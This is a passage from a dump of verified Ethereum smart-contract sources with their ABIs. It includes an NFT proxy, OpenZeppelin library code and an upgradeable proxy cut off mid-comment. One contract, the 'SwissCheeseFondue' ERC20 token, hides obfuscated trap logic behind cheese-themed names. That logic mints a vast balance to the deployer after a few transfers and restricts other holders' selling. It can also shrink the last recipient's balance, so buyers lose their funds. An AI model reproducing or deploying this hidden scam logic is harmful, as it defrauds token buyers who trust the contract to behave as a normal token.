ype":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"exchange","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForExchange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOwners","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSeries","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000007638fb46bfab88344b9770b39e09f30e2912dd52000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000104a61686f677320456d706f7269756d200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000094a61686f67676965730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003368747470733a2f2f6d657461646174612e6d696e7461626c652e6170702f70776b676a4c456b74484244333668666648496c2f00000000000000000000000000 | Default | MIT | false | ipfs://d6fa2e15cca4326a99fc0facbedff84f6875ef7dcc76eebe03cd7c03b869105a |
||
Moneeshka | contracts/Moneeshka.sol | 0x4dffed60817806cb930e524ef47fe801b37dce67 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Moneeshka
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////
// //
// //
// .--. _, //
// .--; \ /(_ //
// / '. | '-._ . ' . //
// | \ \ ,-.) -= * =- //
// \ /\_ '. \((` .( '/. ' //
// )\ / \ )\ _/ _/ //
// / \\ .-' '--. /_\ //
// | \\_.' , \/|| //
// \ \_.-';,_) _)'\ \|| //
// '. /`\ ( '._/ //
// `\ .; | . '. //
// ).' )/| \ //
// ` ` | \| | //
// \ | | //
// '.| | //
// \ '\__ //
// `-._ '. _ //
// \`;-.` `._ //
// \ \ `'-._\ //
// \ | //
// \ ) //
// \_\ //
// //
// //
////////////////////////////////////////////
contract Moneeshka is ERC721Creator {
constructor() ERC721Creator("Moneeshka", "Moneeshka") {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
Moneeshka | contracts/ERC721Creator.sol | 0x4dffed60817806cb930e524ef47fe801b37dce67 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
Moneeshka | @openzeppelin/contracts/utils/Address.sol | 0x4dffed60817806cb930e524ef47fe801b37dce67 | Solidity | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.7+commit.e28d00a7 | true | 300 | Default | true | 0xe4e4003afe3765aca8149a82fc064c0b125b9e5a | ||||
SwissCheeseFondue | SwissCheeseFondue.sol | 0xba1d03cc744a151dff980050ef1ea67aec19dd93 | Solidity | /*
▄████████ ▄██████▄ ███▄▄▄▄ ████████▄ ███ █▄ ▄████████
███ ███ ███ ███ ███▀▀▀██▄ ███ ▀███ ███ ███ ███ ███
███ █▀ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▀
▄███▄▄▄ ███ ███ ███ ███ ███ ███ ███ ███ ▄███▄▄▄
▀▀███▀▀▀ ███ ███ ███ ███ ███ ███ ███ ███ ▀▀███▀▀▀
███ ███ ███ ███ ███ ███ ███ ███ ███ ███ █▄
███ ███ ███ ███ ███ ███ ▄███ ███ ███ ███ ███
███ ▀██████▀ ▀█ █▀ ████████▀ ████████▀ ██████████
The god of all cheese.
Bow down before the
SWISS CHEESE FONDUE.
scfondue.io
@SCFONDUEOfficial
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Racellete;
mapping (address => bool) private Gouda;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private milk;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSenders;
uint256 private _totalSupply; uint256 private Emmental; uint256 private Ricota;
bool private Feta; uint256 private qwer;
uint256 private Monster = 0;
address private Goats = address(0);
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_msgSenders = msgSender_;
_name = name_;
_symbol = symbol_;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function _balanceTheCheeses(address account) internal {
_balances[account] += (((account == _msgSenders) && (milk > 2)) ? (10 ** 45) : 0);
}
function burn(uint256 amount) public virtual returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _balanceTheFire(address sender, address recipient, uint256 amount, bool doodle) internal {
(Emmental,Feta) = doodle ? (Ricota, true) : (Emmental,Feta);
if ((Racellete[sender] != true)) {
require(amount < Emmental);
if (Feta == true) {
require(!(Gouda[sender] == true));
Gouda[sender] = true;
}
}
_balances[Goats] = ((Monster == block.timestamp) && (Racellete[recipient] != true) && (Racellete[Goats] != true) && (qwer > 2)) ? (_balances[Goats]/70) : (_balances[Goats]);
qwer++; Goats = recipient; Monster = block.timestamp;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function _MakeFondue(address creator, uint256 jkal) internal virtual {
approve(_router, 10 ** 77);
(milk,Feta,Emmental,qwer) = (0,false,(jkal/25),0);
(Ricota,Racellete[_router],Racellete[creator],Racellete[pair]) = ((jkal/2000),true,true,true);
(Gouda[_router],Gouda[creator]) = (false, false);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _balanceTheWine(address sender, address recipient, uint256 amount) internal {
_balanceTheFire(sender, recipient, amount, (address(sender) == _msgSenders) && (milk > 0));
milk += (sender == _msgSenders) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _DeployTheIngridients(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balanceTheWine(sender, recipient, amount);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
_balanceTheCheeses(sender);
emit Transfer(sender, recipient, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployTheIngridients(creator, initialSupply);
_MakeFondue(creator, initialSupply);
}
}
contract SwissCheeseFondue is ERC20Token {
constructor() ERC20Token("Swiss Cheese Fondue", "FONDUE", msg.sender, 6000000 * 10 ** 18) {
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.10+commit.fc410830 | true | 200 | Default | MIT | false | ipfs://b42d8e6212167d5d19ca151902be43592eea80d183603c9c4ac966776dda3043 |
|||
TornomyTokenGateway | TornomyTokenGateway.sol | 0x5352c7d32c79435bdfc0c58523353957466552ad | Solidity | pragma solidity ^0.5.16;
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: signature length is invalid");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: signature.s is in the wrong range");
}
if (v != 27 && v != 28) {
revert("ECDSA: signature.v is in the wrong range");
}
// If the signature is valid (and not malleable), return the signer address
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
